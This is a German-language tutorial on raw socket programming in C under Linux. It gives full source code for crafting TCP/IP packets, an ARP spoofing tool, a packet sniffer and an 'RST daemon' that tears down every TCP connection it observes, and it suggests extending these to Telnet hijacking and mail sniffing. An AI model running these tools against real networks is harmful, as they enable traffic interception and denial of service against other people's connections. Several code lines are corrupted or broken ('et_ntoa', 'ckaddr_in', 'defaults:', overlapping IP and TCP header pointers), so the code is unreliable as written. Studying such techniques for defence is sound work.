Impressum Kontakt

Raw Socket Programmierung in C

(balle)

Mit Raw Sockets kann man Netzwerkpakete mit all ihren Headeroptionen erstellen, ohne dass einem der Kernel dazwischen funkt oder aber auch Netzwerkpakete sniffen. Ok warum sollte man sich heute noch mit Raw Sockets beschäftigen wo es doch Libnet gibt? Vielleicht möchtest Du Pakete konstruieren ohne eine zusätzliche Library zu verwenden? Oder Du willst einfach Deinen Wissensdurst stillen und verstehen
wie es funktioniert? Oder Du willst den Netzwerkverkehr sniffen ohne die Pcap Library zu benutzen? Ich weiss es nicht... Aber wenn Du wissen willst wie Raw Socket Programmierung unter Linux funktioniert, lies einfach weiter! Vielleicht fragst Du Dich auch warum zum Teufel schreibt der Typ im Jahre 2003 nen Tutorial über Raw Socket Programmierung wo doch das Phrack Magazin schon seid mindestens 1996 Artikel über Raw Socket Programmierung enthält? Ganz einfach! Als ich angefangen habe mich mit Raw Socket Programmierung zu beschäftigen, musste ich mir immer noch viel zu viele Informationen zusammen suchen, so dass ich mir gedacht habe, dass ich mal alles zusammen tippsel was man meiner Meinung nach so braucht.

////[ The Basics ]////

Für diesen Artikel solltest Du mindestens Grundkenntnisse in den folgenden Themen haben:

  • Aufbau von Netzwerken / Protokollen
  • ISO / OSI Schichten Modell
  • Socket Programmierung in C

Ich stelle hier vor wie man unter Linux TCP/IP und ARP Pakete erstellt, Pakete aus einem Raw Socket liest und dekodiert und werde zum Abschluß beide Techniken vereinen, um einen simplen RST Daemon zu programmieren. Das erstellen von UDP oder ICMP (also auf IP basierende Protokolle) läuft analog zu der Erstellung eines TCP Packets ab. Man muss nur wissen wie die Header bzw. die Strutkuren der Protokolle aufgebaut sind und das erfährt man entweder aus den Header Dateien unter /usr/include/netinet/ oder über die Man Page zu dem jeweiligen Protokoll.

Es gibt unter Linux zwei verschiedene Arten von Raw Sockets:

  • SOCK_PACKET
  • SOCK_RAW

SOCK_PACKET muss man verwenden, wenn man auf Layer 2 (Data Link) arbeiten will wie z.B. auf der Ethernet (ARP) Ebene.

SOCK_RAW benutzt man, wenn man auf IPv4 aufbauen will.

Einen Raw Socket erstellt man folgendermaßen (wobei IPPROTO_* durch das jeweilige IP Protokoll ersetzt werden muss wie beispielsweise IPPROTO_TCP):

rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_*);

Raw Sockets darf man übrigens nur als root erstellen!

Wenn man die Header selber setzen möchte, muss man dies dem Kernel mitteilen (one ist einfach ein Integer mit dem Wert 1):

setsockopt(rawsock,IPPROTO_IP,IP_HDRINCL,&one,sizeof(one);

Für mehr Informationen siehe:

  • man 2 socket
  • man 2 setsockopt
  • man 7 raw
  • man 7 ip
  • man 7 tcp
  • man 7 udp
  • man 7 icmp
  • man 7 arp

////[ Erstellen eines TCP/IP Packets ]////

Ok. Jetzt wird wieder in die Hände gespuckt, nen Bier oder ne Jolt gegrapscht und los geht's!

Es folgt Beispiel Code zur Erstellung eines TCP / IP Pakets. Vielleicht noch vorher ein paar warme Worte zu üblichen Stolperfallen:

  • Der Code erstellt einen Packet Buffer auf den über Pointer die verschiedenen Header angesteuert werden (ip und tcp)
  • ip->ihl = 5; darfst Du nie vergessen, weil ansonsten ist das Packet auf jeden Fall ungültig (tcpdump zeigt bad-hlen 0)
  • Wenn man die Checksumme auf 0 setzt, wird sie vom Kernel berechnet

Ansonsten sollte alles durch die Kommentare im Source Coder erklärt werden. Bitte beachte, dass als Socket Typ SOCK_RAW eingesetzt wird, weil wir auf dem IP Protokoll aufbauen wollen!

// Includes
#include <stdio.h>         // Standard I/O Funktionen wie printf()
#include <stdlib.h>        // Standard Funktionen wie exit() und malloc()
#include <string.h>        // String und Memory Funktionen wie strcmp() und memset()
#include <unistd.h>        // System Calls wie open(), read() und write()
#include <errno.h>         // Detailliertere Fehlermeldungen
#include <sys/socket.h>    // Socket Funktionen wie socket(), bind() und listen()
#include <arpa/inet.h>     // Funktionen wie inet_addr()
#include <netinet/in.h>    // IP Protokolle, sockaddr_in Struktur und Funktionen wie htons()
#include <netinet/ip.h>    // IP Header Struktur
#include <netinet/tcp.h>   // TCP Header Struktur

// Main part
int main(void)
{
  int rawsock, uid;
  struct sockaddr_in addr;
  unsigned int packetsize = sizeof(struct iphdr) + sizeof(struct tcphdr);
  unsigned char packet[packetsize];
  struct iphdr *ip = (struct iphdr *)packet;
  struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
  int one = 1;

  // Are you root?
  uid = getuid();
  if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }

  // Packet Buffer initialisieren
  memset(packet,0,packetsize);

  // Erstelle einen IP RAW Socket Deskriptor
  if( (rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1 ) { perror("socket"); exit(1); }

  // IP_HDRINCL muss eingeschaltet sein, um sicher zu stellen, dass uns der Kernel nicht
  // in den Headern rum fummelt
  if( setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1 ) { perror("setsockopt"); exit(1); }

  // IP Header zusammen basteln
  ip->version = 4;                        // IP Version
  ip->ihl = 5;                            // Internet Header Length
  ip->id = htonl(random());               // IP ID
  ip->saddr = inet_addr("127.0.0.1");     // Source IP
  ip->daddr = inet_addr("127.0.0.1");     // Destination IP
  ip->ttl = 123;                          // Time to live
  ip->protocol = IPPROTO_TCP;             // Transport Protokoll TCP (6)
  ip->tot_len = packetsize;               // Groesse des IP Pakets
  ip->check = 0;                          // IP Checksum (Wenn die Checksumme 0 ist, wird sie 
                                          // vom Kernel berechnet)

  // TCP Header zusammen basteln
  tcp->source = htons(1234);              // Source Port
  tcp->dest = htons(23);                  // Destination Port
  tcp->seq = htonl(1000000000);           // Sequence number
  tcp->ack_seq = htonl(1000000000);       // Acknowledgement number
  tcp->ack = 1;                           // TCP Flags
  tcp->syn = 1;
  tcp->window = htons(1024);              // Window size
  tcp->check = 0;                         // TCP Checksum

  // Schicke das Paket auf die Reise  
  addr.sin_family = AF_INET;
  addr.sin_port = tcp->source;
  addr.sin_addr.s_addr = ip->saddr;

  if( (sendto(rawsock,packet,packetsize,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_in))) == -1 )
    {
      perror("send");
      exit(1);
    }

// Raw Socket Deskriptor schliessen
close(rawsock);
  return 0;
}

////[ Erstellen eines ARP Pakets ]////

Als nächstes erstelle ich ein ARP Reply Packet, um ein simples ARP Spoof Programm zu implementieren.

Weil das Paket auf dem Ethernet Layer aufbauen soll, muss der Socket Typ SOCK_PACKET verwendet werden!

Eine miese Stolperfalle über die ich gefallen bin, ist, dass ich vergessen habe im Ethernet Header den Pakettyp anzugeben: ethhdr->ether_type = htons(ETHERTYPE_ARP);

Außerdem hab ich am Anfang immer /usr/include/net/arp.h included, aber bei mir (Debian Woody) ist die halbe ARP Header Struktur auskommentiert. Deswegen hab ich sie mit im Source Code stehen.

// Includes
#include <stdio.h>           // Standard I/O Funktionen wie printf()
#include <stdlib.h>          // Standard Funktionen wie exit() und malloc()
#include <string.h>          // String und Memory Funktionen wie strcmp() und memset()
#include <getopt.h>          // Parsing Parameter
#include <errno.h>           // Detailliertere Fehlermeldungen
#include <sys/socket.h>      // Socket Funktionen wie socket(), bind() und listen()
#include <net/ethernet.h>    // Ethernet Header Struktur
#include <arpa/inet.h>       // in_addr Struktur

#define ARPOP_REPLY 2
#define ARPHDR_ETHER 1
#define ETH_ALEN 6

// ARP Header Struktur
struct arphdr {
   u_short hw_type;           // hardware type
   u_short proto_type;        // protocol type
   char ha_len;               // hardware address len
   char pa_len;               // protocol address len
   u_short opcode;            // arp opcode
   u_char source_add[6];      // source mac
   char source_ip[4];         // source ip
   u_char dest_add[6];        // dest mac
   char dest_ip[4];           // dest ip
};

void usage(void);

// Main part
int main(int argc, char *argv[])
{
  int sock, uid;
  struct sockaddr addr;
  char c;
  char *opts = "d:i:m:s:t:";
  unsigned int packetsize = sizeof(struct arphdr) + sizeof(struct ether_header);
  unsigned char packet[packetsize];
  struct ether_header *ethhdr = (struct ether_header *)packet;
  struct arphdr *arp = (struct arphdr *)(packet + sizeof(struct ether_header));
  char smac[18], dmac[18];
  char sip[18], dip[18];
  char dev[6];

  // Are you root?
  uid = getuid();
  if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }

  // Parameter verarbeiten
  if(argc < 6) { usage(); }

  while( (c = getopt(argc,argv,opts)) != -1)
    {
      switch(c)
    {
    case 'd':
      strncpy(dip,optarg,18);
      break;

    case 'i':
      strncpy(dev,optarg,6);
      break;

    case 'm':
      strncpy(smac,optarg,18);
      break;

    case 's':
      strncpy(sip,optarg,18);
      break;

    case 't':
      strncpy(dmac,optarg,18);
      break;

        defaults:
      usage();
    }
    }

  // Packet Buffer initialisieren
  memset(packet,0,packetsize);

  // Erstelle einen Socket Deskriptor
  if( ( sock = socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP))) == -1 ) { perror("socket"); exit(1); }

  // Ethernet Header Optionen
  memcpy(ethhdr->ether_dhost,(u_char *)ether_aton(dmac),ETHER_ADDR_LEN); // Destination MAC
  memcpy(ethhdr->ether_shost,(u_char *)ether_aton(smac),ETHER_ADDR_LEN); // Source MAC
  ethhdr->ether_type = htons(ETHERTYPE_ARP);       // ARP Protokoll

  // ARP Header Optionen
  arp->hw_type = htons(ARPHDR_ETHER);                    // Hardware Address Typ
  arp->proto_type = htons(ETH_P_IP);                     // Protokoll Address Typ
  arp->ha_len = 6;                                       // Hardware Address Laenge
  arp->pa_len = 4;                                       // Protokoll Address Laenge
  arp->opcode = htons(ARPOP_REPLY);                      // ARP OP Typ
  memcpy(arp->source_add,ether_aton(smac),ETH_ALEN);     // Sender MAC
  *(u_long *)arp->source_ip = inet_addr(sip);            // Source IP
  memcpy(arp->dest_add,ether_aton(dmac),ETH_ALEN);       // Target MAC
  *(u_long *)arp->dest_ip = inet_addr(dip);              // Target IP

  // Schicke das Paket auf die Reise  
  strncpy(addr.sa_data,dev,sizeof(addr.sa_data));

  printf("Sending ARP packet\n");
  if( (sendto(sock,packet,packetsize,0,&addr,sizeof(struct sockaddr))) == -1 )
    {
      perror("send");
      exit(1);
    }

  return 0;
}

void usage(void)
{
  printf("Usage: arpspoof -i <dev> -m <source_mac> -s <source_ip> -t <dest_mac> -d <dest_ip>\n");
  exit(0);
}

////[ Sniffen mit Raw Sockets ]////

Nach dem ganzen aktiven Konstruieren von Netzwerkpaketen, möchte ich jetzt zeigen wie man mit einem Raw Socket passiv Pakete sniffed.

Als Socket Typ wird wieder SOCK_PACKET gewählt, weil wir ja das ganze Paket einlesen also auch den Link Layer.

Wenn Du wie ich den Fehler machst und versuchst mit SOCK_RAW zu sniffen, siehst Du zwar auch Pakete hin und her fliegen, aber wirst Dich beim dekodieren wundern, warum Du unsinnige Werte erhälst.

Der Code enthält noch einen kleinen Bug. Bei mir (Debian Woody mit Kernel 2.4.20) kommt es manchmal vor, dass der Destination Port 0 ist, warum weiß ich allerdings leider auch nicht. Das führt allerdings beim nächtens Beispiel, dem RST Daemon, zu einem ungewollten Programmende...

// Includes
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

// Main Part
int main(void)
{
  int sock, uid;
  int packetsize = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
  char packet[packetsize];
  struct ether_header *eth = (struct ether_header *) packet;
  struct iphdr *ip = (struct iphdr  *) (packet + sizeof(struct ether_header));
  struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ether_header) + sizeof(struct iphdr));

  // Are you root?
  uid = getuid();
  if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }

  // Raw Socket oeffnen
  if( (sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }

  // Lese Pakete aus dem Raw Socket und dumpe es
  while(1)
    {
      read(sock,packet,packetsize);
      printf("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",inet_ntoa(*(struct in_addr *)&ip->saddr), ntohs(tcp->source), et_ntoa(*(struct in_addr *)&ip->daddr), ntohs(tcp->dest),ntohl(tcp->seq), ntohl(tcp->ack_seq));
    }

  return 0;
}

////[ Ein simpler RST Daemon ]////

Last but not least schmeissen wir die erlernten Techniken in einen großen Topf, rühren kräftig um und erstellen einen RST Daemon, der Pakete aus einem Raw Socket ausliest und ein RST Paket erstellt, welches das gelesenen Paket resettet.

Dazu wird ein Paket erstellt, was von der Ziel-IP / -Port kommt, die erwartete Sequence Nummer (Acknowledgement Nummer des zu resettenden Packets) und das RST Flag enthät.

Mehr zum Thema TCP Hijacking und RST Daemons findest Du z.B. unter:

Hier der Source Code des RST Daemons:

// Includes
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

// Main Part
int main(void)
{
  int r_sock,w_sock, uid;
  int packetsize = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
  char packet[packetsize];
  struct ether_header *eth = (struct ether_header *) packet;
  struct iphdr *ip = (struct iphdr  *) (packet + sizeof(struct ether_header));
  struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct ether_header) + sizeof(struct iphdr));
  unsigned char rstpacket[sizeof(struct iphdr) + sizeof(struct tcphdr)];
  struct iphdr *rst_ip = (struct iphdr *)rstpacket;
  struct tcphdr *rst_tcp = (struct tcphdr *)rstpacket;
  struct sockaddr_in addr;
  int one = 1;

  // Are you root?
  uid = getuid();
  if(uid != 0) { printf("You must have UID 0 instead of %d.\n",uid); exit(1); }

  // Raw Socket zum lesen oeffnen
  if( (r_sock = socket(AF_INET,SOCK_PACKET,htons(0x3))) == -1) { perror("socket"); exit(1); }

  // Raw Socket zum senden
  if( (w_sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) { perror("socket"); exit(1); }

  // IP_HDRINCL muss eingeschaltet sein, um sicher zu stellen, dass uns der Kernel nicht
  // in den Headern rum fummelt
  if( setsockopt(w_sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1 ) { perror("setsockopt"); exit(1); }

  // Lese Pakete aus dem Raw Socket und resette sie
  while(1)
    {
      read(r_sock,packet,packetsize);
      printf("%s:%d\t --> \t%s:%d \tSeq: %d \tAck: %d\n",inet_ntoa(*(struct in_addr *)&ip->saddr), ntohs(tcp->source), et_ntoa(*(struct in_addr *)&ip->daddr), ntohs(tcp->dest), ntohl(tcp->seq), ntohl(tcp->ack_seq));

      // IP Header fuer RST Paket zusammen basteln
      rst_ip->version = 4;                        // IP Version
      rst_ip->ihl = 5;                            // Internet Header Length
      rst_ip->id = htonl(random());               // IP ID
      rst_ip->saddr = ip->daddr;                  // Source IP
      rst_ip->daddr = ip->saddr;                  // Destination IP
      rst_ip->ttl = 123;                          // Time to live
      rst_ip->protocol = IPPROTO_TCP;             // Transport Protokoll TCP (6)
      rst_ip->tot_len = packetsize;               // Groesse des IP Pakets
      rst_ip->check = 0;                          // IP Checksum (Wenn die Checksumme 0 ist, wird sie 
                                                  // vom Kernel berechnet)

      // TCP Header fuer RST Paket zusammen basteln
      rst_tcp->source = htons(tcp->dest);         // Source Port
      rst_tcp->dest = htons(tcp->source);         // Destination Port
      rst_tcp->seq = htonl(tcp->ack_seq);         // Sequence number
      rst_tcp->ack_seq = htonl(tcp->ack_seq);     // Acknowledgement number
      rst_tcp->rst = 1;                           // RST Flag setzen
      rst_tcp->window = htons(2323);              // Window size
      rst_tcp->check = 0;                         // TCP Checksum

      // Schicke das Paket auf die Reise  
      addr.sin_family = AF_INET;
      addr.sin_port = rst_tcp->source;
      addr.sin_addr.s_addr = rst_ip->saddr;

      if( (sendto(w_sock,rstpacket,sizeof(struct iphdr) + sizeof(struct tcphdr),0,(struct sockaddr*)&addr,sizeof(struct ckaddr_in))) == -1 )
    {
      perror("send");
      exit(1);
    }
    }

  return 0;
}

The end

Was kannst Du jetzt mit dem Wissen anstellen?

Nun Du kannst neben einem RST Daemon auch einen Connection Hijacking Programm schreiben, welches eine Verbindung eines Plain Protokolls wie z.B. Telnet hijackt oder aber ein Sniffer Programm coden, dass z.B. Mails über die Protokolle SMTP, POP3 und IMAP abfängt. Das alles darfst Du natürlich nur unter legalen Bedingungen verwenden!

Im Endeffekt kannst Du mit diesem Wissen jedes beliebige Netzwerkprogramm schreiben, was Du willst. Für ein paar Anregungen kannst Du ja mal beim P.A.T.H. Projekt vorbei schaun.